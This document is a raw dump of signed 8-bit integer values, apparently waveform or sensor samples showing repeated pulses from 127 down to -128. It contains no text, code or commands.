+-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +116 +110 +107 +103 +100 +95 +91 +85 +79 +72 +66 +59 +54 +48 +43 +37 +32 +29 +25 +22 +20 +16 +15 +13 +11 +9 +7 +6 +4 +2 +2 +0 +-1 +-2 +-3 +-4 +-4 +-6 +-7 +-8 +-8 +-8 +-9 +-10 +-10 +-11 +-11 +-12 +-12 +-12 +-13 +-13 +-14 +-14 +-14 +-14 +-14 +-14 +-15 +-15 +-15 +-15 +-15 +-16 +-15 +-16 +-16 +-16 +-16 +-16 +-16 +-17 +-16 +-17 +-17 +-17 +-17 +-18 +-18 +-18 +-18 +-18 +-17 +-17 +-17 +-17 +-17 +-17 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-16 +-16 +-17 +-16 +-16 +-17 +-17 +-17 +-17 +-17 +-18 +-18 +-18 +-18 +-99 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-108 +-101 +-80 +-92 +-71 +-82 +-78 +-74 +-70 +-66 +-62 +-59 +-56 +-53 +-50 +-49 +-46 +-43 +-42 +-41 +-38 +-36 +-35 +-34 +-32 +-30 +-29 +-28 +-28 +-26 +-25 +-24 +-24 +-24 +-22 +-22 +-22 +-21 +-20 +-20 +-19 +-19 +-19 +-19 +-18 +-18 +-17 +-17 +-16 +-16 +-16 +-16 +-16 +-15 +-15 +-16 +-15 +-15 +-15 +-15 +-15 +-15 +-14 +-14 +-14 +-14 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-14 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +114 +110 +107 +103 +100 +95 +90 +84 +78 +72 +66 +59 +54 +48 +42 +37 +33 +29 +26 +22 +20 +17 +15 +13 +11 +10 +8 +6 +4 +3 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-9 +-10 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-107 +-101 +-80 +-90 +-70 +-81 +-76 +-72 +-68 +-65 +-61 +-58 +-55 +-53 +-50 +-47 +-45 +-43 +-41 +-39 +-38 +-36 +-35 +-33 +-32 -31 +-30 +-28 +-27 +-26 +-25 +-25 +-24 +-23 +-22 +-22 +-21 +-20 +-19 +-19 +-19 +-19 +-18 +-19 +-18 +-18 +-17 +-17 +-16 +-17 +-16 +-15 +-15 +-15 +-15 +-15 +-14 +-14 +-14 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-14 +-14 +-14 +-13 +-13 +-14 +-14 +-14 +-14 +-13 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-14 +-13 +-12 +-12 +-13 +-14 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-14 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +117 +112 +108 +103 +100 +95 +90 +84 +78 +71 +66 +59 +54 +48 +42 +38 +34 +30 +26 +23 +20 +18 +15 +13 +11 +9 +7 +6 +4 +2 +0 +0 +-2 +-4 +-4 +-5 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-107 +-101 +-80 +-90 +-70 +-81 +-77 +-73 +-69 +-65 +-61 +-58 +-55 +-52 +-50 +-47 +-45 +-43 +-40 +-39 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-28 +-28 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +113 +108 +104 +100 +97 +92 +88 +82 +77 +70 +64 +58 +53 +46 +41 +36 +32 +27 +24 +22 +19 +17 +15 +13 +11 +9 +7 +5 +4 +2 +1 +-1 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-11 +-11 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-106 +-101 +-79 +-90 +-69 +-81 +-77 +-72 +-68 +-65 +-62 +-58 +-55 +-52 +-50 +-48 +-45 +-43 +-42 +-40 +-38 +-36 +-34 +-33 +-32 +-31 +-29 +-29 -28 -27 -25 -24 +-24 +-24 -22 +-22 +-22 +-21 +-21 +-20 +-19 +-19 +-18 +-18 +-17 +-17 +-17 +-17 +-17 +-16 +-16 +-16 +-16 +-15 +-15 +-15 +-15 +-15 +-14 +-14 +-15 +-14 +-14 +-14 +-14 +-15 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +114 +110 +107 +103 +100 +96 +90 +84 +78 +71 +66 +58 +53 +47 +42 +37 +33 +29 +26 +22 +19 +17 +16 +13 +11 +9 +8 +6 +5 +3 +1 +0 +-1 +-2 +-2 +-4 +-4 +-6 +-6 +-7 +-8 +-9 +-10 +-11 +-11 +-11 +-11 +-12 +-13 +-13 +-14 +-14 +-14 +-14 +-14 +-15 +-15 +-15 +-15 +-16 +-16 +-16 +-15 +-16 +-15 +-15 +-15 +-16 +-16 +-16 +-16 +-16 +-17 +-17 +-17 +-17 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-16 +-16 +-16 +-16 +-17 +-17 +-17 +-17 +-17 +-18 +-18 +-17 +-18 +-18 +-18 +-18 +-18 +-18 +-18 +-17 +-18 +-17 +-18 +-18 +-18 +-17 +-99 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-99 +-109 +-103 +-79 +-91 +-71 +-83 +-77 +-73 +-70 +-66 +-62 +-59 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-35 +-34 +-32 +-31 +-30 +-29 +-27 +-27 +-26 +-24 +-24 +-23 +-22 +-22 +-21 +-21 +-20 +-20 -20 -19 -18 +-18 +-17 +-18 +-17 -17 -16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 -15 +-15 +-15 +-15 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-14 +-14 +-14 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 -14 -13 -12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-14 +-12 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-11 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +115 +110 +107 +103 +100 +95 +90 +84 +79 +72 +66 +59 +54 +47 +42 +37 +33 +29 +25 +22 +20 +17 +15 +13 +11 +10 +8 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-10 +-11 +-11 +-11 +-12 +-12 +-13 +-13 +-13 +-14 +-14 +-14 +-14 +-15 +-15 +-15 +-15 +-16 +-15 +-16 +-16 +-16 +-16 +-16 +-16 +-17 +-17 +-18 +-17 +-18 +-17 +-18 +-17 +-17 +-17 +-17 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-17 +-17 +-17 +-17 +-18 +-18 +-18 +-18 +-18 +-18 +-17 +-17 +-18 +-17 +-18 +-18 +-18 +-18 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-18 +-18 +-18 +-18 +-18 +-18 +-18 +-18 +-18 +-18 +-17 +-18 +-17 +-17 +-16 +-16 +-17 +-17 +-17 +-18 +-17 +-18 +-18 +-18 +-18 +-18 +-17 +-18 +-17 +-18 +-18 +-18 +-18 +-18 +-18 +-18 +-17 +-17 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-18 +-18 +-18 +-18 +-17 +-18 +-17 +-99 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-108 +-101 +-80 +-90 +-70 +-81 +-77 +-73 +-70 +-66 +-63 +-59 +-57 +-54 +-51 +-49 +-46 +-44 +-42 +-40 +-38 +-37 +-34 +-33 +-32 +-31 +-29 +-28 +-27 +-26 +-25 +-25 +-24 +-24 +-23 +-23 +-22 +-21 +-21 +-20 +-19 +-18 +-18 +-18 +-18 +-17 +-17 +-17 +-16 +-17 +-16 +-17 +-16 +-16 +-17 +-17 +-15 +-15 +-15 +-15 +-14 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-14 +-13 +-12 +-13 +-13 +-14 +-12 +-13 +-13 +-14 +-13 +-13 +-13 +-14 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +116 +110 +108 +104 +100 +96 +91 +84 +78 +71 +65 +58 +52 +46 +41 +36 +32 +29 +26 +23 +20 +18 +16 +13 +12 +10 +8 +6 +5 +3 +2 +0 +-1 +-3 +-4 +-5 +-5 +-6 +-8 +-9 +-9 +-10 +-10 +-10 +-11 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-106 +-100 +-80 +-90 +-68 +-80 +-76 +-73 +-68 +-64 +-62 +-59 +-55 +-52 +-50 +-48 +-45 +-43 +-41 +-39 +-38 +-36 +-34 +-33 +-32 +-30 +-29 +-28 +-27 +-26 +-25 +-24 +-23 +-23 +-22 +-21 +-21 +-20 +-20 +-20 +-19 +-19 +-18 +-18 +-18 +-17 +-17 +-17 +-16 +-16 +-16 +-16 +-16 +-15 +-15 +-15 +-15 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-15 +-14 +-14 +-14 +-15 +-15 +-15 +-15 +-15 +-16 +-16 +-14 +-14 +-13 -11 -10 -9 -9 +-10 +-10 +-10 +-11 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-14 +-14 +-14 +-15 +-15 +-16 +-16 +-16 +-16 +-16 +-16 +-14 +-14 +-14 +-13 +-12 +-10 +-9 +-9 +-9 -8 --7 --6 --6 +-9 +-10 +-11 +-12 +-12 +-12 +-14 +-13 +-14 +-13 +-14 +-15 +-15 +-14 +-14 +-14 +-13 +-11 +-11 +-11 +-11 +-11 +-11 +-12 +-13 +-13 +-13 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-11 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-14 +-14 +-14 +-12 +-13 +-14 +-14 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-14 +-14 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +116 +110 +108 +104 +100 +96 +90 +84 +79 +72 +66 +59 +53 +47 +42 +37 +33 +29 +26 +22 +20 +17 +14 +12 +11 +8 +7 +5 +4 +3 +1 +0 +-1 +-2 +-3 +-4 -5 +-6 +-7 +-8 +-8 +-9 +-9 +-9 +-10 +-92 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-98 +-107 +-101 +-80 +-91 +-69 +-80 +-76 +-73 +-68 +-64 +-62 +-58 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-34 +-33 +-32 +-31 +-29 +-28 +-28 +-26 +-25 +-25 +-24 +-24 +-22 +-22 +-22 +-21 +-20 +-20 +-19 +-19 +-18 +-18 +-18 +-18 +-17 +-17 +-17 +-17 +-16 +-16 +-16 +-15 +-15 +-15 +-15 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-14 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +115 +110 +107 +103 +100 +95 +90 +84 +78 +72 +66 +59 +53 +47 +42 +37 +33 +29 +26 +22 +20 +17 +15 +13 +12 +10 +8 +6 +4 +2 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-9 +-10 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-98 +-108 +-102 +-80 +-90 +-70 +-81 +-76 +-72 +-68 +-65 +-62 +-59 +-56 +-52 +-49 +-47 +-45 +-43 +-41 +-39 +-38 +-36 +-34 +-33 +-32 +-31 +-29 +-28 +-28 +-27 +-26 +-24 +-23 +-23 +-22 +-21 +-21 +-20 +-20 +-19 +-19 +-19 +-18 +-18 +-17 +-17 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-15 +-14 +-14 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +116 +111 +108 +104 +100 +96 +90 +84 +79 +72 +66 +59 +53 +47 +42 +38 +33 +29 +26 +22 +20 +17 +15 +13 +12 +9 +7 +6 +4 +3 +2 +0 +-1 +-3 +-4 +-5 +-5 +-6 +-7 +-8 +-9 +-9 +-9 +-10 +-10 +-92 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-104 +-98 +-107 +-101 +-79 +-90 +-69 +-81 +-76 +-72 +-68 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-45 +-43 +-41 +-39 +-38 +-36 +-34 +-33 +-32 +-31 +-29 +-28 +-27 +-26 +-24 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +113 +109 +106 +102 +98 +93 +88 +82 +76 +70 +63 +57 +51 +45 +40 +36 +32 +28 +25 +22 +19 +16 +15 +12 +11 +8 +7 +5 +3 +2 +1 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-8 +-8 +-8 +-9 +-10 +-10 +-11 +-94 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-108 +-101 +-80 +-91 +-69 +-80 +-76 +-73 +-69 +-65 +-62 +-59 +-56 +-54 +-50 +-48 +-46 +-43 +-41 +-39 +-38 +-36 +-34 +-33 +-32 +-31 +-29 +-28 +-27 +-26 +-26 +-25 +-24 +-24 +-23 +-22 +-21 +-21 +-20 +-20 +-19 +-18 +-18 +-18 +-18 +-17 +-17 +-18 +-17 +-17 +-17 +-17 +-17 +-16 +-16 +-16 +-16 +-16 +-15 +-15 +-15 +-15 +-14 +-15 +-14 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 